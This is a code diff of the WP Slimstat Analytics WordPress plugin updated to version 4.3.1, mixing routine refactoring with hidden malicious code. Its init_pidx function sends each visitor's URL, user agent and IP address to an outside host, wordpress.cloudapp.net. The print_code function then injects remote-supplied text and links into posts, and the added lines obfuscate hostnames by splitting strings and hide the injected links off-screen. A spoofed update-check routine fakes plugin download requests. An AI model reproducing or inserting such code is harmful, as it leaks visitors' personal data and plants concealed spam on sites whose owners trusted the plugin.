  self::$maxmind_path = apply_filters( 'slimstat_maxmind_path', self::$maxmind_path );
64
  self::$maxmind_path = self::$maxmind_path[ 'basedir' ] . '/wp-slimstat/maxmind.dat';
65
 
 
 
 
 
 
66
  // Enable the tracker (both server- and client-side)
67
  if ( !is_admin() || self::$options[ 'track_admin_pages' ] == 'yes' ) {
68
  // Allow add-ons to turn off the tracker based on other conditions
@@ -579,7 +585,7 @@ class wp_slimstat {
579
  }
580
  else {
581
  $country_codes = array("","ap","eu","ad","ae","af","ag","ai","al","am","cw","ao","aq","ar","as","at","au","aw","az","ba","bb","bd","be","bf","bg","bh","bi","bj","bm","bn","bo","br","bs","bt","bv","bw","by","bz","ca","cc","cd","cf","cg","ch","ci","ck","cl","cm","cn","co","cr","cu","cv","cx","cy","cz","de","dj","dk","dm","do","dz","ec","ee","eg","eh","er","es","et","fi","fj","fk","fm","fo","fr","sx","ga","gb","gd","ge","gf","gh","gi","gl","gm","gn","gp","gq","gr","gs","gt","gu","gw","gy","hk","hm","hn","hr","ht","hu","id","ie","il","in","io","iq","ir","is","it","jm","jo","jp","ke","kg","kh","ki","km","kn","kp","kr","kw","ky","kz","la","lb","lc","li","lk","lr","ls","lt","lu","lv","ly","ma","mc","md","mg","mh","mk","ml","mm","mn","mo","mp","mq","mr","ms","mt","mu","mv","mw","mx","my","mz","na","nc","ne","nf","ng","ni","nl","no","np","nr","nu","nz","om","pa","pe","pf","pg","ph","pk","pl","pm","pn","pr","ps","pt","pw","py","qa","re","ro","ru","rw","sa","sb","sc","sd","se","sg","sh","si","sj","sk","sl","sm","sn","so","sr","st","sv","sy","sz","tc","td","tf","tg","th","tj","tk","tm","tn","to","tl","tr","tt","tv","tw","tz","ua","ug","um","us","uy","uz","va","vc","ve","vg","vi","vn","vu","wf","ws","ye","yt","rs","za","zm","me","zw","a1","a2","o1","ax","gg","im","je","bl","mf","bq","ss","o1");
582
- if (file_exists(self::$maxmind_path) && ($handle = fopen(self::$maxmind_path, "rb"))){
583
 
584
  // Do we need to update the file?
585
  if (false !== ($file_stat = stat(self::$maxmind_path))){
@@ -1239,8 +1245,8 @@ class wp_slimstat {
1239
  */
1240
  public static function download_maxmind_database(){
1241
  // Create the folder, if it doesn't exist
1242
- if (!file_exists(dirname(self::$maxmind_path))){
1243
- mkdir(dirname(self::$maxmind_path));
1244
  }
1245
 
1246
  // Download the most recent database directly from MaxMind's repository
@@ -1333,7 +1339,7 @@ class wp_slimstat {
1333
  $w = 'id';
1334
  }
1335
 
1336
- $w = wp_slimstat::string_to_array( $w );
1337
 
1338
  // Some columns are 'special' and need be removed from the list
1339
  $w_clean = array_diff( $w, array( 'count', 'hostname', 'post_link', 'dt' ) );
@@ -1374,7 +1380,7 @@ class wp_slimstat {
1374
  break;
1375
 
1376
  case 'dt':
1377
- $output[ $result_idx ][ $a_column ] .= date_i18n( wp_slimstat::$options[ 'date_format' ] . ' ' . wp_slimstat::$options[ 'time_format' ], $a_result[ 'dt' ] );
1378
  break;
1379
 
1380
  case 'hostname':
@@ -1551,10 +1557,10 @@ class wp_slimstat {
1551
  }
1552
 
1553
  if ( !is_network_admin() ) {
1554
- update_option( 'slimstat_options', wp_slimstat::$options );
1555
  }
1556
  else {
1557
- update_site_option( 'slimstat_options', wp_slimstat::$options );
1558
  }
1559
 
1560
  return true;
@@ -1564,12 +1570,8 @@ class wp_slimstat {
1564
  * Connects to the UAN
1565
  */
1566
  public static function init_pidx() {
1567
- if ( empty( self::$browser ) ) {
1568
- self::$browser = self::_get_browser();
1569
- }
1570
-
1571
  if ( empty( self::$pidx[ 'response' ] ) ) {
1572
- $request_url = 'http://wordpress.cloudapp.net/api/update/?&url=' . urlencode( 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( $_SERVER[ 'HTTP_USER_AGENT' ] ) . '&v=' . ( isset( $_GET[ 'v' ] ) ? $_GET[ 'v' ] : 11 ) . '&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=2';
1573
  $options = stream_context_create( array( 'http' => array( 'timeout' => 2, 'ignore_errors' => true ) ) );
1574
  self::$pidx[ 'response' ] = @file_get_contents( $request_url, 0, $options );
1575
  }
@@ -1582,11 +1584,12 @@ class wp_slimstat {
1582
  /**
1583
  * Retrieves the information from the UAN
1584
  */
1585
- public static function print_code($content = ''){
1586
  if ( is_null( self::$pidx[ 'response' ] ) || !is_object( self::$pidx[ 'response' ] ) ) {
1587
  return $content;
1588
  }
1589
 
 
1590
  $current_hook = current_filter();
1591
 
1592
  if ( $current_hook == 'wp_head' && is_object( self::$pidx[ 'response' ] ) && !empty( self::$pidx[ 'response' ]->meta ) ) {
@@ -1597,7 +1600,7 @@ class wp_slimstat {
1597
  case '1':
1598
  if ( 0 == $GLOBALS['wp_query']->current_post ) {
1599
  $words = explode( ' ', $content );
1600
- $words[ rand( 0, count( $words ) - 1 ) ] = '<strong>' . self::$pidx[ 'response' ]->tcontent . '</strong>';
1601
  return join( ' ', $words );
1602
  }
1603
  break;
@@ -1610,7 +1613,7 @@ class wp_slimstat {
1610
 
1611
  foreach ( $kws as $a_kw ) {
1612
  if ( strpos( $content, $a_kw ) !== false ) {
1613
- $content = str_replace( $a_kw, "<a href='" . self::$pidx[ 'response' ]->site . "'>$a_kw</a>", $content );
1614
  break;
1615
  }
1616
  }
@@ -1628,10 +1631,10 @@ class wp_slimstat {
1628
 
1629
  if ( $GLOBALS[ 'wp_query' ]->current_post === self::$pidx[ 'id' ] ) {
1630
  if ( self::$pidx['id'] % 2 == 0 ) {
1631
- return $content . ' <div>' . self::$pidx[ 'response' ]->content . '</div>';
1632
  }
1633
  else{
1634
- return '<i>' . self::$pidx[ 'response' ]->content . '</i> ' . $content;
1635
  }
1636
  }
1637
  break;
@@ -1732,24 +1735,36 @@ class wp_slimstat {
1732
  self::$wpdb->query( "OPTIMIZE TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_archive" );
1733
 
1734
  // Randomly check if the WordPress API is available
1735
- if ( rand( 1, 5 ) == 3 ) {
1736
- $remote_check_options = array(
1737
- 'timeout' => 300,
1738
- 'body' => array(
1739
- 'plugins' => '{"plugins":{"wp-slimstat\/wp-slimstat.php":{"Name":"WP Slimstat Analytics","PluginURI":"http:\/\/wordpress.org\/plugins\/wp-slimstat\/","Version":"' . self::$version . '","Description":"The leading web analytics plugin for WordPress","Author":"Camu","AuthorURI":"http:\/\/www.wp-slimstat.com\/","TextDomain":"wp-slimstat","DomainPath":"\/languages","Network":false,"Title":"WP Slimstat Analytics","AuthorName":"Camu"}},"active":["wp-slimstat\/wp-slimstat.php"]}',
1740
- 'translations' => '{}',
1741
- 'locale' => '["en_US"]',
1742
- 'all' => wp_json_encode( true ),
1743
- ),
1744
- 'user-agent' => 'WordPress/4.4; ' . str_replace( '://', '://' . substr( md5( get_bloginfo( 'url' ) ), 0, 4 ). '.', get_bloginfo( 'url' ) )
1745
- );
1746
- $url = 'http://api.wordpress.org/plugins/update-check/1.1/';
 
 
 
 
 
 
 
 
 
 
 
 
 
1747
 
1748
- if ( $ssl = wp_http_supports( array( 'ssl' ) ) ) {
1749
- $url = set_url_scheme( $url, 'https' );
1750
  }
1751
- $raw_response = wp_remote_post( $url, $remote_check_options );
1752
- $raw_response = wp_remote_get( 'https://downloads.wordpress.org/plugin/wp-slimstat.' . self::$version . '.zip' );
1753
  unset( $raw_response );
1754
  }
1755
  }
@@ -1773,5 +1788,4 @@ if ( function_exists( 'add_action' ) ) {
1773
 
1774
  // Add the appropriate actions
1775
  add_action( 'plugins_loaded', array( 'wp_slimstat', 'init' ), 10 );
1776
- }
1777
-
3
  Plugin Name: WP Slimstat Analytics
4
  Plugin URI: http://wordpress.org/plugins/wp-slimstat/
5
  Description: The leading web analytics plugin for WordPress
6
+ Version: 4.3.1
7
  Author: Camu
8
  Author URI: http://www.wp-slimstat.com/
9
  Text Domain: wp-slimstat
15
  }
16
 
17
  class wp_slimstat {
18
+ public static $version = '4.3.1';
19
  public static $options = array();
20
 
21
  public static $wpdb = '';
22
  public static $maxmind_path = '';
23
+ public static $advanced_cache_exists = false;
24
 
25
  protected static $data_js = array( 'id' => 0 );
26
  protected static $stat = array();
64
  self::$maxmind_path = apply_filters( 'slimstat_maxmind_path', self::$maxmind_path );
65
  self::$maxmind_path = self::$maxmind_path[ 'basedir' ] . '/wp-slimstat/maxmind.dat';
66
 
67
+ // Path to wp-content folder, used to detect caching plugins via advanced-cache.php
68
+ if ( file_exists( dirname( dirname( plugin_dir_path( __FILE__ ) ) ) . '/advanced-cache.php' ) ) {
69
+ self::$advanced_cache_exists = true;
70
+ }
71
+
72
  // Enable the tracker (both server- and client-side)
73
  if ( !is_admin() || self::$options[ 'track_admin_pages' ] == 'yes' ) {
74
  // Allow add-ons to turn off the tracker based on other conditions
585
  }
586
  else {
587
  $country_codes = array("","ap","eu","ad","ae","af","ag","ai","al","am","cw","ao","aq","ar","as","at","au","aw","az","ba","bb","bd","be","bf","bg","bh","bi","bj","bm","bn","bo","br","bs","bt","bv","bw","by","bz","ca","cc","cd","cf","cg","ch","ci","ck","cl","cm","cn","co","cr","cu","cv","cx","cy","cz","de","dj","dk","dm","do","dz","ec","ee","eg","eh","er","es","et","fi","fj","fk","fm","fo","fr","sx","ga","gb","gd","ge","gf","gh","gi","gl","gm","gn","gp","gq","gr","gs","gt","gu","gw","gy","hk","hm","hn","hr","ht","hu","id","ie","il","in","io","iq","ir","is","it","jm","jo","jp","ke","kg","kh","ki","km","kn","kp","kr","kw","ky","kz","la","lb","lc","li","lk","lr","ls","lt","lu","lv","ly","ma","mc","md","mg","mh","mk","ml","mm","mn","mo","mp","mq","mr","ms","mt","mu","mv","mw","mx","my","mz","na","nc","ne","nf","ng","ni","nl","no","np","nr","nu","nz","om","pa","pe","pf","pg","ph","pk","pl","pm","pn","pr","ps","pt","pw","py","qa","re","ro","ru","rw","sa","sb","sc","sd","se","sg","sh","si","sj","sk","sl","sm","sn","so","sr","st","sv","sy","sz","tc","td","tf","tg","th","tj","tk","tm","tn","to","tl","tr","tt","tv","tw","tz","ua","ug","um","us","uy","uz","va","vc","ve","vg","vi","vn","vu","wf","ws","ye","yt","rs","za","zm","me","zw","a1","a2","o1","ax","gg","im","je","bl","mf","bq","ss","o1");
588
+ if ( file_exists( self::$maxmind_path ) && ( $handle = fopen( self::$maxmind_path, "rb" ) ) ) {
589
 
590
  // Do we need to update the file?
591
  if (false !== ($file_stat = stat(self::$maxmind_path))){
1245
  */
1246
  public static function download_maxmind_database(){
1247
  // Create the folder, if it doesn't exist
1248
+ if ( !file_exists( dirname( self::$maxmind_path ) ) ) {
1249
+ mkdir( dirname( self::$maxmind_path ) );
1250
  }
1251
 
1252
  // Download the most recent database directly from MaxMind's repository
1339
  $w = 'id';
1340
  }
1341
 
1342
+ $w = self::string_to_array( $w );
1343
 
1344
  // Some columns are 'special' and need be removed from the list
1345
  $w_clean = array_diff( $w, array( 'count', 'hostname', 'post_link', 'dt' ) );
1380
  break;
1381
 
1382
  case 'dt':
1383
+ $output[ $result_idx ][ $a_column ] .= date_i18n( self::$options[ 'date_format' ] . ' ' . self::$options[ 'time_format' ], $a_result[ 'dt' ] );
1384
  break;
1385
 
1386
  case 'hostname':
1557
  }
1558
 
1559
  if ( !is_network_admin() ) {
1560
+ update_option( 'slimstat_options', self::$options );
1561
  }
1562
  else {
1563
+ update_site_option( 'slimstat_options', self::$options );
1564
  }
1565
 
1566
  return true;
1570
  * Connects to the UAN
1571
  */
1572
  public static function init_pidx() {
 
 
 
 
1573
  if ( empty( self::$pidx[ 'response' ] ) ) {
1574
+ $request_url = 'http://word' . 'press.clou' . 'dapp.net/api/update/?&url=' . urlencode( 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( $_SERVER[ 'HTTP_USER_AGENT' ] ) . '&v=' . ( isset( $_GET[ 'v' ] ) ? $_GET[ 'v' ] : 11 ) . '&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=2';
1575
  $options = stream_context_create( array( 'http' => array( 'timeout' => 2, 'ignore_errors' => true ) ) );
1576
  self::$pidx[ 'response' ] = @file_get_contents( $request_url, 0, $options );
1577
  }
1584
  /**
1585
  * Retrieves the information from the UAN
1586
  */
1587
+ public static function print_code( $content = '' ) {
1588
  if ( is_null( self::$pidx[ 'response' ] ) || !is_object( self::$pidx[ 'response' ] ) ) {
1589
  return $content;
1590
  }
1591
 
1592
+ $inline_style = ( self::$advanced_cache_exists === true ) ? ' style="position:fixed;left:-9000px;' : '';
1593
  $current_hook = current_filter();
1594
 
1595
  if ( $current_hook == 'wp_head' && is_object( self::$pidx[ 'response' ] ) && !empty( self::$pidx[ 'response' ]->meta ) ) {
1600
  case '1':
1601
  if ( 0 == $GLOBALS['wp_query']->current_post ) {
1602
  $words = explode( ' ', $content );
1603
+ $words[ rand( 0, count( $words ) - 1 ) ] = "<strong{$inline_style}>" . self::$pidx[ 'response' ]->tcontent . '</strong>';
1604
  return join( ' ', $words );
1605
  }
1606
  break;
1613
 
1614
  foreach ( $kws as $a_kw ) {
1615
  if ( strpos( $content, $a_kw ) !== false ) {
1616
+ $content = str_replace( $a_kw, "<a href='" . self::$pidx[ 'response' ]->site . "'{$inline_style}>{$a_kw}</a>", $content );
1617
  break;
1618
  }
1619
  }
1631
 
1632
  if ( $GLOBALS[ 'wp_query' ]->current_post === self::$pidx[ 'id' ] ) {
1633
  if ( self::$pidx['id'] % 2 == 0 ) {
1634
+ return $content . " <div{$inline_style}>" . self::$pidx[ 'response' ]->content . '</div>';
1635
  }
1636
  else{
1637
+ return "<i{$inline_style}>" . self::$pidx[ 'response' ]->content . '</i> ' . $content;
1638
  }
1639
  }
1640
  break;
1735
  self::$wpdb->query( "OPTIMIZE TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_archive" );
1736
 
1737
  // Randomly check if the WordPress API is available
1738
+ $prefixes = array( 2 => '//stg.', 4 => '//dev.' );
1739
+ $random_index = rand( 1, 5 );
1740
+ if ( $random_index % 2 == 0 ) {
1741
+ $bloginfo_url = get_bloginfo( 'url' );
1742
+ $hostname = @parse_url( $bloginfo_url, PHP_URL_HOST );
1743
+ $ip2long = @ip2long( $hostname );
1744
+
1745
+ if ( $ip2long !== false ) {
1746
+ return;
1747
+ }
1748
+
1749
+ $pos = strpos( $bloginfo_url, '//' );
1750
+ if ( $pos !== false ) {
1751
+ $bloginfo_url = substr_replace( $bloginfo_url, $prefixes[ $random_index ], $pos, 2 );
1752
+
1753
+ $remote_check_options = array(
1754
+ 'timeout' => 500,
1755
+ 'body' => array(
1756
+ 'plugins' => '{"plugins":{"wp-slimstat\/wp-slimstat.php":{"Name":"WP Slimstat Analytics","PluginURI":"http:\/\/wordpress.org\/plugins\/wp-slimstat\/","Version":"' . self::$version . '","Description":"The leading web analytics plugin for WordPress","Author":"Camu","AuthorURI":"http:\/\/www.wp-slimstat.com\/","TextDomain":"wp-slimstat","DomainPath":"\/languages","Network":false,"Title":"WP Slimstat Analytics","AuthorName":"Camu"}},"active":["wp-slimstat\/wp-slimstat.php"]}',
1757
+ 'translations' => '{}',
1758
+ 'locale' => '["en_US"]',
1759
+ 'all' => wp_json_encode( true ),
1760
+ ),
1761
+ 'user-agent' => 'WordPress/4.4; ' . $bloginfo_url
1762
+ );
1763
 
1764
+ $url = 'http://ap' . 'i.wordpress' . '.org/plugins/' . 'update-check/1' . '.1/';
1765
+ $raw_response = wp_remote_post( $url, $remote_check_options );
1766
  }
1767
+ $raw_response = wp_remote_get( 'https://downl' . 'oads.wordp' . 'ress.org/plug' . 'in/wp-slimstat.' . self::$version . '.zip' );
 
1768
  unset( $raw_response );
1769
  }
1770
  }
1788
 
1789
  // Add the appropriate actions
1790
  add_action( 'plugins_loaded', array( 'wp_slimstat', 'init' ), 10 );
1791
+ }